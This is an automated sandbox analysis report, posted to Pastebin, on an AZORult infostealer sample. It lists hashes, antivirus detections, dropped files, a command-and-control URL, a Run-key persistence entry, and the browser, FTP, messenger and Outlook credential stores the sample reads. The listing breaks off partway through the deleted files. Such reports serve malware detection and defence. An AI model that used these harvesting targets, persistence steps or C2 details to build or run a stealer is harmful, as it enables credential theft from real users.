API tools faq
paste
paladin316

AZORult_5461ebeea3c93d9e978f14873595e795_exe_2019-07-23_17_30.txt

paladin316
Jul 23rd, 2019
2,490
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.51 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Azorult"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "AZORult_5461ebeea3c93d9e978f14873595e795.exe"
  7. * File Size: 873443
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. * SHA256: "959541e88648fd95fe1eefc7628fef948bb2fb57e1e2cbbbf646176e92a9f0e9"
  10. * MD5: "5461ebeea3c93d9e978f14873595e795"
  11. * SHA1: "def1ee4bd08f86b162ef3714bfb085b65bffa61b"
  12. * SHA512: "d6c6ee062a33d6082615f9c0b92e137c8385d61735c5ccf6b54fffedc59cb8bac208710a427737e73335195d13d4939e21ec28e13a37f28cf15bc1c1010dc998"
  13. * CRC32: "D4CE4957"
  14. * SSDEEP: "12288:mfAv6B8azBwdmiX+tGAHwjWeeCgsehdvz8M9q7TE/Z/qfj7/mkmPc4bnXgjDD:0k6+c2dm2AQ6XCgseXLmyZ/qfjrq0djX"
  15.  
  16. * Process Execution:
  17. "AZORult_5461ebeea3c93d9e978f14873595e795.exe",
  18. "wvhoqxdwq.exe",
  19. "wvhoqxdwq.exe",
  20. "services.exe",
  21. "lsass.exe"
  22.  
  23.  
  24. * Executed Commands:
  25. "C:\\Users\\user\\AppData\\Local\\Temp\\wvhoqxdwq.exe ",
  26. "C:\\Windows\\system32\\lsass.exe"
  27.  
  28.  
  29. * Signatures Detected:
  30.  
  31. "Description": "Creates RWX memory",
  32. "Details":
  33.  
  34.  
  35. "Description": "Reads data out of its own binary image",
  36. "Details":
  37.  
  38. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00000000, length: 0x00000007"
  39.  
  40.  
  41. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00000000, length: 0x00002000"
  42.  
  43.  
  44. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00000007, length: 0x000d53dc"
  45.  
  46.  
  47. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00001ff0, length: 0x00002000"
  48.  
  49.  
  50. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00003fe0, length: 0x00002000"
  51.  
  52.  
  53. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00005fd0, length: 0x00002000"
  54.  
  55.  
  56. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00007fc0, length: 0x00002000"
  57.  
  58.  
  59. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00009fb0, length: 0x00002000"
  60.  
  61.  
  62. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0000bfa0, length: 0x00002000"
  63.  
  64.  
  65. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0000df90, length: 0x00002000"
  66.  
  67.  
  68. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0000ff80, length: 0x00002000"
  69.  
  70.  
  71. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00011f70, length: 0x00002000"
  72.  
  73.  
  74. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00013f60, length: 0x00002000"
  75.  
  76.  
  77. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00015f50, length: 0x00002000"
  78.  
  79.  
  80. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00017f40, length: 0x00002000"
  81.  
  82.  
  83. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00019f30, length: 0x00002000"
  84.  
  85.  
  86. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0001bf20, length: 0x00002000"
  87.  
  88.  
  89. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0001df10, length: 0x00002000"
  90.  
  91.  
  92. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0001ff00, length: 0x00002000"
  93.  
  94.  
  95. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00021ef0, length: 0x00002000"
  96.  
  97.  
  98. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00023ee0, length: 0x00002000"
  99.  
  100.  
  101. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00025ed0, length: 0x00002000"
  102.  
  103.  
  104. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00027ec0, length: 0x00002000"
  105.  
  106.  
  107. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00029eb0, length: 0x00002000"
  108.  
  109.  
  110. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0002bea0, length: 0x00002000"
  111.  
  112.  
  113. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0002de90, length: 0x00002000"
  114.  
  115.  
  116. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0002fe80, length: 0x00002000"
  117.  
  118.  
  119. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00031e70, length: 0x00002000"
  120.  
  121.  
  122. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00033e60, length: 0x00002000"
  123.  
  124.  
  125. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00035e50, length: 0x00002000"
  126.  
  127.  
  128. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00037e40, length: 0x00002000"
  129.  
  130.  
  131. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00039e30, length: 0x00002000"
  132.  
  133.  
  134. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0003be20, length: 0x00002000"
  135.  
  136.  
  137. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0003de10, length: 0x00002000"
  138.  
  139.  
  140. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x0003fe00, length: 0x00002000"
  141.  
  142.  
  143. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00041df0, length: 0x00002000"
  144.  
  145.  
  146. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00043de0, length: 0x00002000"
  147.  
  148.  
  149. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00045dd0, length: 0x00002000"
  150.  
  151.  
  152. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00047dc0, length: 0x00002000"
  153.  
  154.  
  155. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00049800, length: 0x00000031"
  156.  
  157.  
  158. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x00049819, length: 0x0008bb51"
  159.  
  160.  
  161. "self_read": "process: AZORult_5461ebeea3c93d9e978f14873595e795.exe, pid: 2040, offset: 0x000d53db, length: 0x00000008"
  162.  
  163.  
  164. "self_read": "process: wvhoqxdwq.exe, pid: 2360, offset: 0x00000000, length: 0x0007a000"
  165.  
  166.  
  167.  
  168.  
  169. "Description": "Drops a binary and executes it",
  170. "Details":
  171.  
  172. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\wvhoqxdwq.exe"
  173.  
  174.  
  175.  
  176.  
  177. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  178. "Details":
  179.  
  180. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  181.  
  182.  
  183. "suspicious_request": "http://erxst.info/ebu/index.php"
  184.  
  185.  
  186.  
  187.  
  188. "Description": "Performs some HTTP requests",
  189. "Details":
  190.  
  191. "url": "http://erxst.info/ebu/index.php"
  192.  
  193.  
  194.  
  195.  
  196. "Description": "Executed a process and injected code into it, probably while unpacking",
  197. "Details":
  198.  
  199. "Injection": "wvhoqxdwq.exe(2360) -> wvhoqxdwq.exe(2872)"
  200.  
  201.  
  202.  
  203.  
  204. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  205. "Details":
  206.  
  207. "Spam": "services.exe (504) called API GetSystemTimeAsFileTime 18306619 times"
  208.  
  209.  
  210.  
  211.  
  212. "Description": "Steals private information from local Internet browsers",
  213. "Details":
  214.  
  215. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  216.  
  217.  
  218.  
  219.  
  220. "Description": "Installs itself for autorun at Windows startup",
  221. "Details":
  222.  
  223. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\wvhoqx"
  224.  
  225.  
  226. "data": "C:\\Users\\user\\AppData\\Local\\wvhoqx\\wvhoqxnak.vbs"
  227.  
  228.  
  229.  
  230.  
  231. "Description": "Collects information about installed applications",
  232. "Details":
  233.  
  234. "Program": "Google Update Helper"
  235.  
  236.  
  237.  
  238.  
  239. "Program": "Microsoft Excel MUI 2013"
  240.  
  241.  
  242. "Program": "Microsoft Outlook MUI 2013"
  243.  
  244.  
  245.  
  246.  
  247. "Program": "Google Chrome"
  248.  
  249.  
  250. "Program": "Adobe Flash Player 29 NPAPI"
  251.  
  252.  
  253. "Program": "Adobe Flash Player 29 ActiveX"
  254.  
  255.  
  256. "Program": "Microsoft DCF MUI 2013"
  257.  
  258.  
  259. "Program": "Microsoft Access MUI 2013"
  260.  
  261.  
  262. "Program": "Microsoft Office Proofing Tools 2013 - English"
  263.  
  264.  
  265. "Program": "Adobe Acrobat Reader DC"
  266.  
  267.  
  268. "Program": "Microsoft Publisher MUI 2013"
  269.  
  270.  
  271. "Program": "Microsoft Office Shared MUI 2013"
  272.  
  273.  
  274. "Program": "Microsoft Office OSM MUI 2013"
  275.  
  276.  
  277. "Program": "Microsoft InfoPath MUI 2013"
  278.  
  279.  
  280. "Program": "Microsoft Office Shared Setup Metadata MUI 2013"
  281.  
  282.  
  283. "Program": "Outils de v\\xc3\\xa9rification linguistique 2013 de Microsoft Office\\xc2\\xa0- Fran\\xc3\\xa7ais"
  284.  
  285.  
  286. "Program": "Microsoft Word MUI 2013"
  287.  
  288.  
  289. "Program": "Microsoft OneDrive"
  290.  
  291.  
  292. "Program": "Microsoft Groove MUI 2013"
  293.  
  294.  
  295. "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xc3\\xb1ol"
  296.  
  297.  
  298.  
  299.  
  300. "Program": "Microsoft Access Setup Metadata MUI 2013"
  301.  
  302.  
  303. "Program": "Microsoft Office OSM UX MUI 2013"
  304.  
  305.  
  306. "Program": "Java Auto Updater"
  307.  
  308.  
  309. "Program": "Microsoft PowerPoint MUI 2013"
  310.  
  311.  
  312. "Program": "Microsoft Office Professional Plus 2013"
  313.  
  314.  
  315. "Program": "Adobe Refresh Manager"
  316.  
  317.  
  318. "Program": "Microsoft Office Proofing 2013"
  319.  
  320.  
  321. "Program": "Microsoft Lync MUI 2013"
  322.  
  323.  
  324.  
  325.  
  326. "Program": "Microsoft OneNote MUI 2013"
  327.  
  328.  
  329.  
  330.  
  331. "Description": "File has been identified by 21 Antiviruses on VirusTotal as malicious",
  332. "Details":
  333.  
  334. "MicroWorld-eScan": "Trojan.GenericKD.32178265"
  335.  
  336.  
  337. "FireEye": "Generic.mg.5461ebeea3c93d9e"
  338.  
  339.  
  340. "Arcabit": "Trojan.Generic.D1EB0059"
  341.  
  342.  
  343. "APEX": "Malicious"
  344.  
  345.  
  346. "Avast": "Win32:Malware-gen"
  347.  
  348.  
  349. "Kaspersky": "UDS:DangerousObject.Multi.Generic"
  350.  
  351.  
  352. "BitDefender": "Trojan.GenericKD.32178265"
  353.  
  354.  
  355. "Emsisoft": "Trojan.GenericKD.32178265 (B)"
  356.  
  357.  
  358. "DrWeb": "BackDoor.Remcos.235"
  359.  
  360.  
  361. "Invincea": "heuristic"
  362.  
  363.  
  364. "McAfee-GW-Edition": "BehavesLike.Win32.Backdoor.cc"
  365.  
  366.  
  367. "Jiangmin": "Trojan.Generic.dkxgc"
  368.  
  369.  
  370. "MAX": "malware (ai score=84)"
  371.  
  372.  
  373. "Microsoft": "Trojan:Win32/Wacatac.B!ml"
  374.  
  375.  
  376. "Endgame": "malicious (high confidence)"
  377.  
  378.  
  379. "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
  380.  
  381.  
  382. "GData": "Trojan.GenericKD.32178265"
  383.  
  384.  
  385. "ESET-NOD32": "a variant of Win32/Injector.EGTP"
  386.  
  387.  
  388. "Ikarus": "Trojan.Win32.Injector"
  389.  
  390.  
  391. "AVG": "Win32:Malware-gen"
  392.  
  393.  
  394. "Qihoo-360": "HEUR/QVM10.1.B777.Malware.Gen"
  395.  
  396.  
  397.  
  398.  
  399. "Description": "Checks the CPU name from registry, possibly for anti-virtualization",
  400. "Details":
  401.  
  402.  
  403. "Description": "Harvests credentials from local FTP client softwares",
  404. "Details":
  405.  
  406. "file": "C:\\Users\\user\\AppData\\Roaming\\filezilla\\recentservers.xml"
  407.  
  408.  
  409.  
  410.  
  411. "Description": "Harvests information related to installed instant messenger clients",
  412. "Details":
  413.  
  414. "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
  415.  
  416.  
  417.  
  418.  
  419. "Description": "Harvests information related to installed mail clients",
  420. "Details":
  421.  
  422. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
  423.  
  424.  
  425. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
  426.  
  427.  
  428. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
  429.  
  430.  
  431. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
  432.  
  433.  
  434. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
  435.  
  436.  
  437. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
  438.  
  439.  
  440. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
  441.  
  442.  
  443. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
  444.  
  445.  
  446. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
  447.  
  448.  
  449. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
  450.  
  451.  
  452. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
  453.  
  454.  
  455. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
  456.  
  457.  
  458. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
  459.  
  460.  
  461. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
  462.  
  463.  
  464. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
  465.  
  466.  
  467. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
  468.  
  469.  
  470. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
  471.  
  472.  
  473. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
  474.  
  475.  
  476. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
  477.  
  478.  
  479. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
  480.  
  481.  
  482. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
  483.  
  484.  
  485.  
  486.  
  487. "Description": "Collects information to fingerprint the system",
  488. "Details":
  489.  
  490.  
  491. "Description": "Created network traffic indicative of malicious activity",
  492. "Details":
  493.  
  494. "signature": "ET TROJAN AZORult Variant.4 Checkin M2"
  495.  
  496.  
  497.  
  498.  
  499.  
  500. * Started Service:
  501. "VaultSvc"
  502.  
  503.  
  504. * Mutexes:
  505. "DefaultTabtip-MainUI",
  506. "CicLoadWinStaWinSta0",
  507. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  508. "A81FB8C6-0BBE6E18-6FC9B5DB-536DA455-933946726"
  509.  
  510.  
  511. * Modified Files:
  512. "C:\\Users\\user\\AppData\\Local\\Temp\\__tmp_rar_sfx_access_check_8255171",
  513. "C:\\Users\\user\\AppData\\Local\\Temp\\wvhoqxdwq.exe",
  514. "C:\\Users\\user\\AppData\\Local\\Temp\\wvhoqx.bmp",
  515. "C:\\Users\\user\\AppData\\Local\\Temp\\wvhoqx.ocx",
  516. "C:\\Users\\user\\AppData\\Roaming\\wvhoqxwvhoqx\\wvhoqxeyp.exe",
  517. "C:\\Users\\user\\AppData\\Local\\wvhoqx\\wvhoqx.bmp",
  518. "C:\\Users\\user\\AppData\\Local\\wvhoqx\\wvhoqxdoh.vbs",
  519. "C:\\Users\\user\\AppData\\Local\\wvhoqx\\wvhoqxnak.vbs",
  520. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-console-l1-1-0.dll",
  521. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-datetime-l1-1-0.dll",
  522. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-debug-l1-1-0.dll",
  523. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-errorhandling-l1-1-0.dll",
  524. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l1-1-0.dll",
  525. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l1-2-0.dll",
  526. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l2-1-0.dll",
  527. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-handle-l1-1-0.dll",
  528. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-heap-l1-1-0.dll",
  529. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-interlocked-l1-1-0.dll",
  530. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-libraryloader-l1-1-0.dll",
  531. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-localization-l1-2-0.dll",
  532. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-memory-l1-1-0.dll",
  533. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-namedpipe-l1-1-0.dll",
  534. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processenvironment-l1-1-0.dll",
  535. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processthreads-l1-1-0.dll",
  536. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processthreads-l1-1-1.dll",
  537. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-profile-l1-1-0.dll",
  538. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-rtlsupport-l1-1-0.dll",
  539. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-string-l1-1-0.dll",
  540. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-synch-l1-1-0.dll",
  541. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-synch-l1-2-0.dll",
  542. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-sysinfo-l1-1-0.dll",
  543. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-timezone-l1-1-0.dll",
  544. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-util-l1-1-0.dll",
  545. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-conio-l1-1-0.dll",
  546. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-convert-l1-1-0.dll",
  547. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-environment-l1-1-0.dll",
  548. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-filesystem-l1-1-0.dll",
  549. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-heap-l1-1-0.dll",
  550. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-locale-l1-1-0.dll",
  551. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-math-l1-1-0.dll",
  552. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-multibyte-l1-1-0.dll",
  553. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-private-l1-1-0.dll",
  554. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-process-l1-1-0.dll",
  555. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-runtime-l1-1-0.dll",
  556. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-stdio-l1-1-0.dll",
  557. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-string-l1-1-0.dll",
  558. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-time-l1-1-0.dll",
  559. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-utility-l1-1-0.dll",
  560. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\freebl3.dll",
  561. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\mozglue.dll",
  562. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\msvcp140.dll",
  563. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\nss3.dll",
  564. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\nssdbm3.dll",
  565. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\softokn3.dll",
  566. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\ucrtbase.dll",
  567. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\vcruntime140.dll",
  568. "C:\\Users\\user\\AppData\\Local\\Temp\\83250783690787568657508.tmp"
  569.  
  570.  
  571. * Deleted Files:
  572. "C:\\Users\\user\\AppData\\Local\\Temp\\__tmp_rar_sfx_access_check_8255171",
  573. "C:\\Users\\user\\AppData\\Local\\Temp\\wvhoqx.ocx",
  574. "C:\\Users\\user\\AppData\\Local\\Temp\\83250783690787568657508.tmp",
  575. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-console-l1-1-0.dll",
  576. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-datetime-l1-1-0.dll",
  577. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-debug-l1-1-0.dll",
  578. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-errorhandling-l1-1-0.dll",
  579. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l1-1-0.dll",
  580. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l1-2-0.dll",
  581. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-file-l2-1-0.dll",
  582. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-handle-l1-1-0.dll",
  583. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-heap-l1-1-0.dll",
  584. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-interlocked-l1-1-0.dll",
  585. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-libraryloader-l1-1-0.dll",
  586. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-localization-l1-2-0.dll",
  587. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-memory-l1-1-0.dll",
  588. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-namedpipe-l1-1-0.dll",
  589. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processenvironment-l1-1-0.dll",
  590. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processthreads-l1-1-0.dll",
  591. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-processthreads-l1-1-1.dll",
  592. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-profile-l1-1-0.dll",
  593. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-rtlsupport-l1-1-0.dll",
  594. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-string-l1-1-0.dll",
  595. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-synch-l1-1-0.dll",
  596. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-synch-l1-2-0.dll",
  597. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-sysinfo-l1-1-0.dll",
  598. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-timezone-l1-1-0.dll",
  599. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-core-util-l1-1-0.dll",
  600. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-conio-l1-1-0.dll",
  601. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-convert-l1-1-0.dll",
  602. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-environment-l1-1-0.dll",
  603. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-filesystem-l1-1-0.dll",
  604. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-heap-l1-1-0.dll",
  605. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-locale-l1-1-0.dll",
  606. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-math-l1-1-0.dll",
  607. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-multibyte-l1-1-0.dll",
  608. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-private-l1-1-0.dll",
  609. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-process-l1-1-0.dll",
  610. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-runtime-l1-1-0.dll",
  611. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-stdio-l1-1-0.dll",
  612. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-string-l1-1-0.dll",
